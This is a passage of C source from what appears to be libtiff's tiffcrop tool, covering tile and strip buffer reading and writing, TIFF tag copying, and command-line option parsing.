%lu is too small, using alternate calculation %u", tilesize, tl * tile_rowsize); #endif tile_buffsize = tl * tile_rowsize; if (tl != (tile_buffsize / tile_rowsize)) { TIFFError("readContigTilesIntoBuffer", "Integer overflow when calculating buffer size."); exit(-1); } } tilebuf = _TIFFmalloc(tile_buffsize); if (tilebuf == 0) return 0; dst_rowsize = ((imagewidth * bps * spp) + 7) / 8; for (row = 0; row < imagelength; row += tl) { nrow = (row + tl > imagelength) ? imagelength - row : tl; for (col = 0; col < imagewidth; col += tw) { tbytes = TIFFReadTile(in, tilebuf, col, row, 0, 0); if (tbytes < tilesize && !ignore) { TIFFError(TIFFFileName(in), "Error, can't read tile at row %lu col %lu, Read %lu bytes of %lu", (unsigned long) col, (unsigned long) row, (unsigned long)tbytes, (unsigned long)tilesize); status = 0; _TIFFfree(tilebuf); return status; } row_offset = row * dst_rowsize; col_offset = ((col * bps * spp) + 7)/ 8; bufp = buf + row_offset + col_offset; if (col + tw > imagewidth) ncol = imagewidth - col; else ncol = tw; /* Each tile scanline will start on a byte boundary but it * has to be merged into the scanline for the entire * image buffer and the previous segment may not have * ended on a byte boundary */ /* Optimization for common bit depths, all samples */ if (((bps % 8) == 0) && (count == spp)) { for (trow = 0; trow < nrow; trow++) { src_offset = trow * tile_rowsize; _TIFFmemcpy (bufp, tilebuf + src_offset, (ncol * spp * bps) / 8); bufp += (imagewidth * bps * spp) / 8; } } else { /* Bit depths not a multiple of 8 and/or extract fewer than spp samples */ prev_trailing_bits = trailing_bits = 0; trailing_bits = (ncol * bps * spp) % 8; /* for (trow = 0; tl < nrow; trow++) */ for (trow = 0; trow < nrow; trow++) { src_offset = trow * tile_rowsize; src = tilebuf + src_offset; dst_offset = (row + trow) * dst_rowsize; dst = buf + dst_offset + col_offset; switch (shift_width) { case 0: if (extractContigSamplesBytes (src, dst, ncol, sample, spp, bps, count, 0, ncol)) { TIFFError("readContigTilesIntoBuffer", "Unable to extract row %d from tile %lu", row, (unsigned long)TIFFCurrentTile(in)); return 1; } break; case 1: if (bps == 1) { if (extractContigSamplesShifted8bits (src, dst, ncol, sample, spp, bps, count, 0, ncol, prev_trailing_bits)) { TIFFError("readContigTilesIntoBuffer", "Unable to extract row %d from tile %lu", row, (unsigned long)TIFFCurrentTile(in)); return 1; } break; } else if (extractContigSamplesShifted16bits (src, dst, ncol, sample, spp, bps, count, 0, ncol, prev_trailing_bits)) { TIFFError("readContigTilesIntoBuffer", "Unable to extract row %d from tile %lu", row, (unsigned long)TIFFCurrentTile(in)); return 1; } break; case 2: if (extractContigSamplesShifted24bits (src, dst, ncol, sample, spp, bps, count, 0, ncol, prev_trailing_bits)) { TIFFError("readContigTilesIntoBuffer", "Unable to extract row %d from tile %lu", row, (unsigned long)TIFFCurrentTile(in)); return 1; } break; case 3: case 4: case 5: if (extractContigSamplesShifted32bits (src, dst, ncol, sample, spp, bps, count, 0, ncol, prev_trailing_bits)) { TIFFError("readContigTilesIntoBuffer", "Unable to extract row %d from tile %lu", row, (unsigned long)TIFFCurrentTile(in)); return 1; } break; default: TIFFError("readContigTilesIntoBuffer", "Unsupported bit depth %d", bps); return 1; } } prev_trailing_bits += trailing_bits; /* if (prev_trailing_bits > 7) */ /* prev_trailing_bits-= 8; */ } } } _TIFFfree(tilebuf); return status; } static int readSeparateTilesIntoBuffer (TIFF* in, uint8 *obuf, uint32 imagelength, uint32 imagewidth, uint32 tw, uint32 tl, uint16 spp, uint16 bps) { int i, status = 1, sample; int shift_width, bytes_per_pixel; uint16 bytes_per_sample; uint32 row, col; /* Current row and col of image */ uint32 nrow, ncol; /* Number of rows and cols in current tile */ uint32 row_offset, col_offset; /* Output buffer offsets */ tsize_t tbytes = 0, tilesize = TIFFTileSize(in); tsample_t s; uint8* bufp = (uint8*)obuf; unsigned char *srcbuffs[MAX_SAMPLES]; unsigned char *tbuff = NULL; bytes_per_sample = (bps + 7) / 8; for (sample = 0; (sample < spp) && (sample < MAX_SAMPLES); sample++) { srcbuffs[sample] = NULL; tbuff = (unsigned char *)_TIFFmalloc(tilesize + 8); if (!tbuff) { TIFFError ("readSeparateTilesIntoBuffer", "Unable to allocate tile read buffer for sample %d", sample); for (i = 0; i < sample; i++) _TIFFfree (srcbuffs[i]); return 0; } srcbuffs[sample] = tbuff; } /* Each tile contains only the data for a single plane * arranged in scanlines of tw * bytes_per_sample bytes. */ for (row = 0; row < imagelength; row += tl) { nrow = (row + tl > imagelength) ? imagelength - row : tl; for (col = 0; col < imagewidth; col += tw) { for (s = 0; s < spp && s < MAX_SAMPLES; s++) { /* Read each plane of a tile set into srcbuffs[s] */ tbytes = TIFFReadTile(in, srcbuffs[s], col, row, 0, s); if (tbytes < 0 && !ignore) { TIFFError(TIFFFileName(in), "Error, can't read tile for row %lu col %lu, " "sample %lu", (unsigned long) col, (unsigned long) row, (unsigned long) s); status = 0; for (sample = 0; (sample < spp) && (sample < MAX_SAMPLES); sample++) { tbuff = srcbuffs[sample]; if (tbuff != NULL) _TIFFfree(tbuff); } return status; } } /* Tiles on the right edge may be padded out to tw * which must be a multiple of 16. * Ncol represents the visible (non padding) portion. */ if (col + tw > imagewidth) ncol = imagewidth - col; else ncol = tw; row_offset = row * (((imagewidth * spp * bps) + 7) / 8); col_offset = ((col * spp * bps) + 7) / 8; bufp = obuf + row_offset + col_offset; if ((bps % 8) == 0) { if (combineSeparateTileSamplesBytes(srcbuffs, bufp, ncol, nrow, imagewidth, tw, spp, bps, NULL, 0, 0)) { status = 0; break; } } else { bytes_per_pixel = ((bps * spp) + 7) / 8; if (bytes_per_pixel < (bytes_per_sample + 1)) shift_width = bytes_per_pixel; else shift_width = bytes_per_sample + 1; switch (shift_width) { case 1: if (combineSeparateTileSamples8bits (srcbuffs, bufp, ncol, nrow, imagewidth, tw, spp, bps, NULL, 0, 0)) { status = 0; break; } break; case 2: if (combineSeparateTileSamples16bits (srcbuffs, bufp, ncol, nrow, imagewidth, tw, spp, bps, NULL, 0, 0)) { status = 0; break; } break; case 3: if (combineSeparateTileSamples24bits (srcbuffs, bufp, ncol, nrow, imagewidth, tw, spp, bps, NULL, 0, 0)) { status = 0; break; } break; case 4: case 5: case 6: case 7: case 8: if (combineSeparateTileSamples32bits (srcbuffs, bufp, ncol, nrow, imagewidth, tw, spp, bps, NULL, 0, 0)) { status = 0; break; } break; default: TIFFError ("readSeparateTilesIntoBuffer", "Unsupported bit depth: %d", bps); status = 0; break; } } } } for (sample = 0; (sample < spp) && (sample < MAX_SAMPLES); sample++) { tbuff = srcbuffs[sample]; if (tbuff != NULL) _TIFFfree(tbuff); } return status; } static int writeBufferToContigStrips(TIFF* out, uint8* buf, uint32 imagelength) { uint32 row, nrows, rowsperstrip; tstrip_t strip = 0; tsize_t stripsize; TIFFGetFieldDefaulted(out, TIFFTAG_ROWSPERSTRIP, &rowsperstrip); for (row = 0; row < imagelength; row += rowsperstrip) { nrows = (row + rowsperstrip > imagelength) ? imagelength - row : rowsperstrip; stripsize = TIFFVStripSize(out, nrows); if (TIFFWriteEncodedStrip(out, strip++, buf, stripsize) < 0) { TIFFError(TIFFFileName(out), "Error, can't write strip %u", strip - 1); return 1; } buf += stripsize; } return 0; } /* Abandon plans to modify code so that plannar orientation separate images * do not have all samples for each channel written before all samples * for the next channel have been abandoned. * Libtiff internals seem to depend on all data for a given sample * being contiguous within a strip or tile when PLANAR_CONFIG is * separate. All strips or tiles of a given plane are written * before any strips or tiles of a different plane are stored. */ static int writeBufferToSeparateStrips (TIFF* out, uint8* buf, uint32 length, uint32 width, uint16 spp, struct dump_opts *dump) { uint8 *src; uint16 bps; uint32 row, nrows, rowsize, rowsperstrip; uint32 bytes_per_sample; tsample_t s; tstrip_t strip = 0; tsize_t stripsize = TIFFStripSize(out); tsize_t rowstripsize, scanlinesize = TIFFScanlineSize(out); tsize_t total_bytes = 0; tdata_t obuf; (void) TIFFGetFieldDefaulted(out, TIFFTAG_ROWSPERSTRIP, &rowsperstrip); (void) TIFFGetField(out, TIFFTAG_BITSPERSAMPLE, &bps); bytes_per_sample = (bps + 7) / 8; rowsize = ((bps * spp * width) + 7) / 8; /* source has interleaved samples */ rowstripsize = rowsperstrip * bytes_per_sample * (width + 1); obuf = _TIFFmalloc (rowstripsize); if (obuf == NULL) return 1; for (s = 0; s < spp; s++) { for (row = 0; row < length; row += rowsperstrip) { nrows = (row + rowsperstrip > length) ? length - row : rowsperstrip; stripsize = TIFFVStripSize(out, nrows); src = buf + (row * rowsize); total_bytes += stripsize; memset (obuf, '\0', rowstripsize); if (extractContigSamplesToBuffer(obuf, src, nrows, width, s, spp, bps, dump)) { _TIFFfree(obuf); return 1; } if ((dump->outfile != NULL) && (dump->level == 1)) { dump_info(dump->outfile, dump->format,"", "Sample %2d, Strip: %2d, bytes: %4d, Row %4d, bytes: %4d, Input offset: %6d", s + 1, strip + 1, stripsize, row + 1, scanlinesize, src - buf); dump_buffer(dump->outfile, dump->format, nrows, scanlinesize, row, obuf); } if (TIFFWriteEncodedStrip(out, strip++, obuf, stripsize) < 0) { TIFFError(TIFFFileName(out), "Error, can't write strip %u", strip - 1); _TIFFfree(obuf); return 1; } } } _TIFFfree(obuf); return 0; } /* Extract all planes from contiguous buffer into a single tile buffer * to be written out as a tile. */ static int writeBufferToContigTiles (TIFF* out, uint8* buf, uint32 imagelength, uint32 imagewidth, tsample_t spp, struct dump_opts* dump) { uint16 bps; uint32 tl, tw; uint32 row, col, nrow, ncol; uint32 src_rowsize, col_offset; uint32 tile_rowsize = TIFFTileRowSize(out); uint8* bufp = (uint8*) buf; tsize_t tile_buffsize = 0; tsize_t tilesize = TIFFTileSize(out); unsigned char *tilebuf = NULL; if( !TIFFGetField(out, TIFFTAG_TILELENGTH, &tl) || !TIFFGetField(out, TIFFTAG_TILEWIDTH, &tw) || !TIFFGetField(out, TIFFTAG_BITSPERSAMPLE, &bps) ) return 1; if (tilesize == 0 || tile_rowsize == 0 || tl == 0 || tw == 0) { TIFFError("writeBufferToContigTiles", "Tile size, tile row size, tile width, or tile length is zero"); exit(-1); } tile_buffsize = tilesize; if (tilesize < (tsize_t)(tl * tile_rowsize)) { #ifdef DEBUG2 TIFFError("writeBufferToContigTiles", "Tilesize %lu is too small, using alternate calculation %u", tilesize, tl * tile_rowsize); #endif tile_buffsize = tl * tile_rowsize; if (tl != tile_buffsize / tile_rowsize) { TIFFError("writeBufferToContigTiles", "Integer overflow when calculating buffer size"); exit(-1); } } tilebuf = _TIFFmalloc(tile_buffsize); if (tilebuf == 0) return 1; src_rowsize = ((imagewidth * spp * bps) + 7) / 8; for (row = 0; row < imagelength; row += tl) { nrow = (row + tl > imagelength) ? imagelength - row : tl; for (col = 0; col < imagewidth; col += tw) { /* Calculate visible portion of tile. */ if (col + tw > imagewidth) ncol = imagewidth - col; else ncol = tw; col_offset = (((col * bps * spp) + 7) / 8); bufp = buf + (row * src_rowsize) + col_offset; if (extractContigSamplesToTileBuffer(tilebuf, bufp, nrow, ncol, imagewidth, tw, 0, spp, spp, bps, dump) > 0) { TIFFError("writeBufferToContigTiles", "Unable to extract data to tile for row %lu, col %lu", (unsigned long) row, (unsigned long)col); _TIFFfree(tilebuf); return 1; } if (TIFFWriteTile(out, tilebuf, col, row, 0, 0) < 0) { TIFFError("writeBufferToContigTiles", "Cannot write tile at %lu %lu", (unsigned long) col, (unsigned long) row); _TIFFfree(tilebuf); return 1; } } } _TIFFfree(tilebuf); return 0; } /* end writeBufferToContigTiles */ /* Extract each plane from contiguous buffer into a single tile buffer * to be written out as a tile. */ static int writeBufferToSeparateTiles (TIFF* out, uint8* buf, uint32 imagelength, uint32 imagewidth, tsample_t spp, struct dump_opts * dump) { tdata_t obuf = _TIFFmalloc(TIFFTileSize(out)); uint32 tl, tw; uint32 row, col, nrow, ncol; uint32 src_rowsize, col_offset; uint16 bps; tsample_t s; uint8* bufp = (uint8*) buf; if (obuf == NULL) return 1; TIFFGetField(out, TIFFTAG_TILELENGTH, &tl); TIFFGetField(out, TIFFTAG_TILEWIDTH, &tw); TIFFGetField(out, TIFFTAG_BITSPERSAMPLE, &bps); src_rowsize = ((imagewidth * spp * bps) + 7) / 8; for (row = 0; row < imagelength; row += tl) { nrow = (row + tl > imagelength) ? imagelength - row : tl; for (col = 0; col < imagewidth; col += tw) { /* Calculate visible portion of tile. */ if (col + tw > imagewidth) ncol = imagewidth - col; else ncol = tw; col_offset = (((col * bps * spp) + 7) / 8); bufp = buf + (row * src_rowsize) + col_offset; for (s = 0; s < spp; s++) { if (extractContigSamplesToTileBuffer(obuf, bufp, nrow, ncol, imagewidth, tw, s, 1, spp, bps, dump) > 0) { TIFFError("writeBufferToSeparateTiles", "Unable to extract data to tile for row %lu, col %lu sample %d", (unsigned long) row, (unsigned long)col, (int)s); _TIFFfree(obuf); return 1; } if (TIFFWriteTile(out, obuf, col, row, 0, s) < 0) { TIFFError("writeBufferToseparateTiles", "Cannot write tile at %lu %lu sample %lu", (unsigned long) col, (unsigned long) row, (unsigned long) s); _TIFFfree(obuf); return 1; } } } } _TIFFfree(obuf); return 0; } /* end writeBufferToSeparateTiles */ static void processG3Options(char* cp) { if( (cp = strchr(cp, ':')) ) { if (defg3opts == (uint32) -1) defg3opts = 0; do { cp++; if (strneq(cp, "1d", 2)) defg3opts &= ~GROUP3OPT_2DENCODING; else if (strneq(cp, "2d", 2)) defg3opts |= GROUP3OPT_2DENCODING; else if (strneq(cp, "fill", 4)) defg3opts |= GROUP3OPT_FILLBITS; else usage(); } while( (cp = strchr(cp, ':')) ); } } static int processCompressOptions(char* opt) { char* cp = NULL; if (strneq(opt, "none",4)) { defcompression = COMPRESSION_NONE; } else if (streq(opt, "packbits")) { defcompression = COMPRESSION_PACKBITS; } else if (strneq(opt, "jpeg", 4)) { cp = strchr(opt, ':'); defcompression = COMPRESSION_JPEG; while (cp) { if (isdigit((int)cp[1])) quality = atoi(cp + 1); else if (strneq(cp + 1, "raw", 3 )) jpegcolormode = JPEGCOLORMODE_RAW; else if (strneq(cp + 1, "rgb", 3 )) jpegcolormode = JPEGCOLORMODE_RGB; else usage(); cp = strchr(cp + 1, ':'); } } else if (strneq(opt, "g3", 2)) { processG3Options(opt); defcompression = COMPRESSION_CCITTFAX3; } else if (streq(opt, "g4")) { defcompression = COMPRESSION_CCITTFAX4; } else if (strneq(opt, "lzw", 3)) { cp = strchr(opt, ':'); if (cp) defpredictor = atoi(cp+1); defcompression = COMPRESSION_LZW; } else if (strneq(opt, "zip", 3)) { cp = strchr(opt, ':'); if (cp) defpredictor = atoi(cp+1); defcompression = COMPRESSION_ADOBE_DEFLATE; } else return (0); return (1); } static void usage(void) { int i; fprintf(stderr, "\n%s\n", TIFFGetVersion()); for (i = 0; usage_info[i] != NULL; i++) fprintf(stderr, "%s\n", usage_info[i]); exit(-1); } #define CopyField(tag, v) \ if (TIFFGetField(in, tag, &v)) TIFFSetField(out, tag, v) #define CopyField2(tag, v1, v2) \ if (TIFFGetField(in, tag, &v1, &v2)) TIFFSetField(out, tag, v1, v2) #define CopyField3(tag, v1, v2, v3) \ if (TIFFGetField(in, tag, &v1, &v2, &v3)) TIFFSetField(out, tag, v1, v2, v3) #define CopyField4(tag, v1, v2, v3, v4) \ if (TIFFGetField(in, tag, &v1, &v2, &v3, &v4)) TIFFSetField(out, tag, v1, v2, v3, v4) static void cpTag(TIFF* in, TIFF* out, uint16 tag, uint16 count, TIFFDataType type) { switch (type) { case TIFF_SHORT: if (count == 1) { uint16 shortv; CopyField(tag, shortv); } else if (count == 2) { uint16 shortv1, shortv2; CopyField2(tag, shortv1, shortv2); } else if (count == 4) { uint16 *tr, *tg, *tb, *ta; CopyField4(tag, tr, tg, tb, ta); } else if (count == (uint16) -1) { uint16 shortv1; uint16* shortav; CopyField2(tag, shortv1, shortav); } break; case TIFF_LONG: { uint32 longv; CopyField(tag, longv); } break; case TIFF_RATIONAL: if (count == 1) { float floatv; CopyField(tag, floatv); } else if (count == (uint16) -1) { float* floatav; CopyField(tag, floatav); } break; case TIFF_ASCII: { char* stringv; CopyField(tag, stringv); } break; case TIFF_DOUBLE: if (count == 1) { double doublev; CopyField(tag, doublev); } else if (count == (uint16) -1) { double* doubleav; CopyField(tag, doubleav); } break; default: TIFFError(TIFFFileName(in), "Data type %d is not supported, tag %d skipped", tag, type); } } static struct cpTag { uint16 tag; uint16 count; TIFFDataType type; } tags[] = { { TIFFTAG_SUBFILETYPE, 1, TIFF_LONG }, { TIFFTAG_THRESHHOLDING, 1, TIFF_SHORT }, { TIFFTAG_DOCUMENTNAME, 1, TIFF_ASCII }, { TIFFTAG_IMAGEDESCRIPTION, 1, TIFF_ASCII }, { TIFFTAG_MAKE, 1, TIFF_ASCII }, { TIFFTAG_MODEL, 1, TIFF_ASCII }, { TIFFTAG_MINSAMPLEVALUE, 1, TIFF_SHORT }, { TIFFTAG_MAXSAMPLEVALUE, 1, TIFF_SHORT }, { TIFFTAG_XRESOLUTION, 1, TIFF_RATIONAL }, { TIFFTAG_YRESOLUTION, 1, TIFF_RATIONAL }, { TIFFTAG_PAGENAME, 1, TIFF_ASCII }, { TIFFTAG_XPOSITION, 1, TIFF_RATIONAL }, { TIFFTAG_YPOSITION, 1, TIFF_RATIONAL }, { TIFFTAG_RESOLUTIONUNIT, 1, TIFF_SHORT }, { TIFFTAG_SOFTWARE, 1, TIFF_ASCII }, { TIFFTAG_DATETIME, 1, TIFF_ASCII }, { TIFFTAG_ARTIST, 1, TIFF_ASCII }, { TIFFTAG_HOSTCOMPUTER, 1, TIFF_ASCII }, { TIFFTAG_WHITEPOINT, (uint16) -1, TIFF_RATIONAL }, { TIFFTAG_PRIMARYCHROMATICITIES,(uint16) -1,TIFF_RATIONAL }, { TIFFTAG_HALFTONEHINTS, 2, TIFF_SHORT }, { TIFFTAG_INKSET, 1, TIFF_SHORT }, { TIFFTAG_DOTRANGE, 2, TIFF_SHORT }, { TIFFTAG_TARGETPRINTER, 1, TIFF_ASCII }, { TIFFTAG_SAMPLEFORMAT, 1, TIFF_SHORT }, { TIFFTAG_YCBCRCOEFFICIENTS, (uint16) -1,TIFF_RATIONAL }, { TIFFTAG_YCBCRSUBSAMPLING, 2, TIFF_SHORT }, { TIFFTAG_YCBCRPOSITIONING, 1, TIFF_SHORT }, { TIFFTAG_REFERENCEBLACKWHITE, (uint16) -1,TIFF_RATIONAL }, { TIFFTAG_EXTRASAMPLES, (uint16) -1, TIFF_SHORT }, { TIFFTAG_SMINSAMPLEVALUE, 1, TIFF_DOUBLE }, { TIFFTAG_SMAXSAMPLEVALUE, 1, TIFF_DOUBLE }, { TIFFTAG_STONITS, 1, TIFF_DOUBLE }, }; #define NTAGS (sizeof (tags) / sizeof (tags[0])) #define CopyTag(tag, count, type) cpTag(in, out, tag, count, type) /* Functions written by Richard Nolde, with exceptions noted. */ void process_command_opts (int argc, char *argv[], char *mp, char *mode, uint32 *dirnum, uint16 *defconfig, uint16 *deffillorder, uint32 *deftilewidth, uint32 *deftilelength, uint32 *defrowsperstrip, struct crop_mask *crop_data, struct pagedef *page, struct dump_opts *dump, unsigned int *imagelist, unsigned int *image_count ) { int c, good_args = 0; char *opt_offset = NULL; /* Position in string of value sought */ char *opt_ptr = NULL; /* Pointer to next token in option set */ char *sep = NULL; /* Pointer to a token separator */ unsigned int i, j, start, end; #if !HAVE_DECL_OPTARG extern int optind; extern char* optarg; #endif *mp++ = 'w'; *mp = '\0'; while ((c = getopt(argc, argv, "ac:d:e:f:hil:m:p:r:stvw:z:BCD:E:F:H:I:J:K:LMN:O:P:R:S:U:V:X:Y:Z:")) != -1) { good_args++; switch (c) { case 'a': mode[0] = 'a'; /* append to output */ break; case 'c': if (!processCompressOptions(optarg)) /* compression scheme */ { TIFFError ("Unknown compression option", "%s", optarg); TIFFError ("For valid options type", "tiffcrop -h"); exit (-1); } break; case 'd': start = strtoul(optarg, NULL, 0); /* initial IFD offset */ if (start == 0) { TIFFError ("","Directory offset must be greater than zero"); TIFFError ("For valid options type", "tiffcrop -h"); exit (-1); } *dirnum = start - 1; break; case 'e': switch (tolower((int) optarg[0])) /* image export modes*/ { case 'c': crop_data->exp_mode = ONE_FILE_COMPOSITE; crop_data->img_mode = COMPOSITE_IMAGES; break; /* Composite */ case 'd': crop_data->exp_mode = ONE_FILE_SEPARATED; crop_data->img_mode = SEPARATED_IMAGES; break; /* Divided */ case 'i': crop_data->exp_mode = FILE_PER_IMAGE_COMPOSITE; crop_data->img_mode = COMPOSITE_IMAGES; break; /* Image */ case 'm': crop_data->exp_mode = FILE_PER_IMAGE_SEPARATED; crop_data->img_mode = SEPARATED_IMAGES; break; /* Multiple */ case 's': crop_data->exp_mode = FILE_PER_SELECTION; crop_data->img_mode = SEPARATED_IMAGES; break; /* Sections */ default: TIFFError ("Unknown export mode","%s", optarg); TIFFError ("For valid options type", "tiffcrop -h"); exit (-1); } break; case 'f': if (streq(optarg, "lsb2msb")) /* fill order */ *deffillorder = FILLORDER_LSB2MSB; else if (streq(optarg, "msb2lsb")) *deffillorder = FILLORDER_MSB2LSB; else { TIFFError ("Unknown fill order", "%s", optarg); TIFFError ("For valid options type", "tiffcrop -h"); exit (-1); } break; case 'h': usage(); break; case 'i': ignore = TRUE; /* ignore errors */ break; case 'l': outtiled = TRUE; /* tile length */ *deftilelength = atoi(optarg); break; case 'p': /* planar configuration */ if (streq(optarg, "separate")) *defconfig = PLANARCONFIG_SEPARATE; else if (streq(optarg, "contig")) *defconfig = PLANARCONFIG_CONTIG; else { TIFFError ("Unkown planar configuration", "%s", optarg); TIFFError ("For valid options type", "tiffcrop -h"); exit (-1); } break; case 'r': /* rows/strip */ *defrowsperstrip = atol(optarg); break; case 's': /* generate stripped output */ outtiled = FALSE; break; case 't': /* generate tiled output */ outtiled = TRUE; break; case 'v': TIFFError("Library Release", "%s", TIFFGetVersion()); TIFFError ("Tiffcrop version", "%s, last updated: %s", tiffcrop_version_id, tiffcrop_rev_date); TIFFError ("Tiffcp code", "Copyright (c) 1988-1997 Sam Leffler"); TIFFError (" ", "Copyright (c) 1991-1997 Silicon Graphics, Inc"); TIFFError ("Tiffcrop additions", "Copyright (c) 2007-2010 Richard Nolde"); exit (0); break; case 'w': /* tile width */ outtiled = TRUE; *deftilewidth = atoi(optarg); break; case 'z': /* regions of an image specified as x1,y1,x2,y2:x3,y3,x4,y4 etc */ crop_data->crop_mode |= CROP_REGIONS; for (i = 0, opt_ptr = strtok (optarg, ":"); ((opt_ptr != NULL) && (i < MAX_REGIONS)); (opt_ptr = strtok (NULL, ":")), i++) { crop_data->regions++; if (sscanf(opt_ptr, "%lf,%lf,%lf,%lf", &crop_data->corners[i].X1, &crop_data->corners[i].Y1, &crop_data->corners[i].X2, &crop_data->corners[i].Y2) != 4) { TIFFError ("Unable to parse coordinates for region", "%d %s", i, optarg); TIFFError ("For valid options type", "tiffcrop -h"); exit (-1); } } /* check for remaining elements over MAX_REGIONS */ if ((opt_ptr != NULL) && (i >= MAX_REGIONS)) { TIFFError ("Region list exceeds limit of", "%d regions %s", MAX_REGIONS, optarg); TIFFError ("For valid options type", "tiffcrop -h"); exit (-1);; } break; /* options for file open modes */ case 'B': *mp++ = 'b'; *mp = '\0'; break; case 'L': *mp++ = 'l'; *mp = '\0'; break; case 'M': *mp++ = 'm'; *mp = '\0'; break; case 'C': *mp++ = 'c'; *mp = '\0'; break; /* options for Debugging / data dump */ case 'D': for (i = 0, opt_ptr = strtok (optarg, ","); (opt_ptr != NULL); (opt_ptr = strtok (NULL, ",")), i++) { opt_offset = strpbrk(opt_ptr, ":="); if (opt_offset == NULL) { TIFFError("Invalid dump option", "%s", optarg); TIFFError ("For valid options type", "tiffcrop -h"); exit (-1); } *opt_offset = '\0'; /* convert option to lowercase */ end = strlen (opt_ptr); for (i = 0; i < end; i++) *(opt_ptr + i) = tolower((int) *(opt_ptr + i)); /* Look for dump format specification */ if (strncmp(opt_ptr, "for", 3) == 0) { /* convert value to lowercase */ end = strlen (opt_offset + 1); for (i = 1; i <= end; i++) *(opt_offset + i) = tolower((int) *(opt_offset + i)); /* check dump format value */ if (strncmp (opt_offset + 1, "txt", 3) == 0) { dump->format = DUMP_TEXT; strcpy (dump->mode, "w"); } else { if (strncmp(opt_offset + 1, "raw", 3) == 0) { dump->format = DUMP_RAW; strcpy (dump->mode, "wb"); } else { TIFFError("parse_command_opts", "Unknown dump format %s", opt_offset + 1); TIFFError ("For valid options type", "tiffcrop -h"); exit (-1); } } } else { /* Look for dump level specification */ if (strncmp (opt_ptr, "lev", 3) == 0) dump->level = atoi(opt_offset + 1); /* Look for input data dump file name */ if (strncmp (opt_ptr, "in", 2) == 0) { strncpy (dump->infilename, opt_offset + 1, PATH_MAX - 20); dump->infilename[PATH_MAX - 20] = '\0'; } /* Look for output data dump file name */ if (strncmp (opt_ptr, "out", 3) == 0) { strncpy (dump->outfilename, opt_offset + 1, PATH_MAX - 20); dump->outfilename[PATH_MAX - 20] = '\0'; } if (strncmp (opt_ptr, "deb", 3) == 0) dump->debug = atoi(opt_offset + 1); } } if ((strlen(dump->infilename)) || (strlen(dump->outfilename))) { if (dump->level == 1) TIFFError("","Defaulting to dump level 1, no data."); if (dump->format == DUMP_NONE) { TIFFError("", "You must specify a dump format for dump files"); TIFFError ("For valid options type", "tiffcrop -h"); exit (-1); } } break; /* image manipulation routine options */ case 'm': /* margins to exclude from selection, uppercase M was already used */ /* order of values must be TOP, LEFT, BOTTOM, RIGHT */ crop_data->crop_mode |= CROP_MARGINS; for (i = 0, opt_ptr = strtok (optarg, ",:"); ((opt_ptr != NULL) && (i < 4)); (opt_ptr = strtok (NULL, ",:")), i++) { crop_data->margins[i] = atof(opt_ptr); } break; case 'E': /* edge reference */ switch (tolower((int) optarg[0])) { case 't': crop_data->edge_ref = EDGE_TOP; break; case 'b': crop_data->edge_ref = EDGE_BOTTOM; break; case 'l': crop_data->edge_ref = EDGE_LEFT; break; case 'r': crop_data->edge_ref = EDGE_RIGHT; break; default: TIFFError ("Edge reference must be top, bottom, left, or right", "%s", optarg); TIFFError ("For valid options type", "tiffcrop -h"); exit (-1); } break; case 'F': /* flip eg mirror image or cropped segment, M was already used */ crop_data->crop_mode |= CROP_MIRROR; switch (tolower((int) optarg[0])) { case 'h': crop_data->mirror = MIRROR_HORIZ; break; case 'v': crop_data->mirror = MIRROR_VERT; break; case 'b': crop_data->mirror = MIRROR_BOTH; break; default: TIFFError ("Flip mode must be horiz, vert, or both", "%s", optarg); TIFFError ("For valid options type", "tiffcrop -h"); exit (-1); } break; case 'H': /* set horizontal resolution to new value */ page->hres = atof (optarg); page->mode |= PAGE_MODE_RESOLUTION; break; case 'I': /* invert the color space, eg black to white */ crop_data->crop_mode |= CROP_INVERT; /* The PHOTOMETIC_INTERPRETATION tag may be updated */ if (streq(optarg, "black")) { crop_data->photometric = PHOTOMETRIC_MINISBLACK; continue; } if (streq(optarg, "white")) { crop_data->photometric = PHOTOMETRIC_MINISWHITE; continue; } if (streq(optarg, "data")) { crop_data->photometric = INVERT_DATA_ONLY; continue; } if (streq(optarg, "both")) { crop_data->photometric = INVERT_DATA_AND_TAG; continue; } TIFFError("Missing or unknown option for inverting PHOTOMETRIC_INTERPRETATION", "%s", optarg); TIFFError ("For valid options type", "tiffcrop -h"); exit (-1); break; case 'J': /* horizontal margin for sectioned ouput pages */ page->hmargin = atof(optarg); page->mode |= PAGE_MODE_MARGINS; break; case 'K': /* vertical margin for sectioned ouput pages*/ page->vmargin = atof(optarg); page->mode |= PAGE_MODE_MARGINS; break; case 'N': /* list of images to process */ for (i = 0, opt_ptr = strtok (optarg, ","); ((opt_ptr != NULL) && (i < MAX_IMAGES)); (opt_ptr = strtok (NULL, ","))) { /* We do not know how many images are in file yet * so we build a list to include the maximum allowed * and follow it until we hit the end of the file. * Image count is not accurate for odd, even, last * so page numbers won't be valid either. */ if (streq(opt_ptr, "odd")) { for (j = 1; j <= MAX_IMAGES; j += 2) imagelist[i++] = j; *image_count = (MAX_IMAGES - 1) / 2; break; } else { if (streq(opt_ptr, "even")) { for (j = 2; j <= MAX_IMAGES; j += 2) imagelist[i++] = j; *image_count = MAX_IMAGES / 2; break; } else { if (streq(opt_ptr, "last")) imagelist[i++] = MAX_IMAGES; else /* single value between commas */ { sep = strpbrk(opt_ptr, ":-"); if (!sep) imagelist[i++] = atoi(opt_ptr); else { *sep = '\0'; start = atoi (opt_ptr); if (!strcmp((sep + 1), "last")) end = MAX_IMAGES; else end = atoi (sep + 1); for (j = start; j <= end && j - start + i < MAX_IMAGES; j++) imagelist[i++] = j; } } } } } *image_count = i; break; case 'O': /* page orientation */ switch (tolower((int) optarg[0])) { case 'a': page->orient = ORIENTATION_AUTO; break; case 'p': page->orient = ORIENTATION_PORTRAIT; break; case 'l': page->orient = ORIENTATION_LANDSCAPE; break; default: TIFFError ("Orientation must be portrait, landscape, or auto.", "%s", optarg); TIFFError ("For valid options type", "tiffcrop -h"); exit (-1); } break; case 'P': /* page size selection */ if (sscanf(optarg, "%lfx%lf", &page->width, &page->length) == 2) { strcpy (page->name, "Custom"); page->mode |= PAGE_MODE_PAPERSIZE; break; } if (get_page_geometry (optarg, page)) { if (!strcmp(optarg, "list")) { TIFFError("", "Name Width Length (in inches)"); for (i = 0; i < MAX_PAPERNAMES - 1; i++) TIFFError ("", "%-15.15s %5.2f %5.2f", PaperTable[i].name, PaperTable[i].width, PaperTable[i].length); exit (-1); } TIFFError ("Invalid paper size", "%s", optarg); TIFFError ("", "Select one of:"); TIFFError("", "Name Width Length (in inches)"); for (i = 0; i < MAX_PAPERNAMES - 1; i++) TIFFError ("", "%-15.15s %5.2f %5.2f", PaperTable[i].name, PaperTable[i].width, 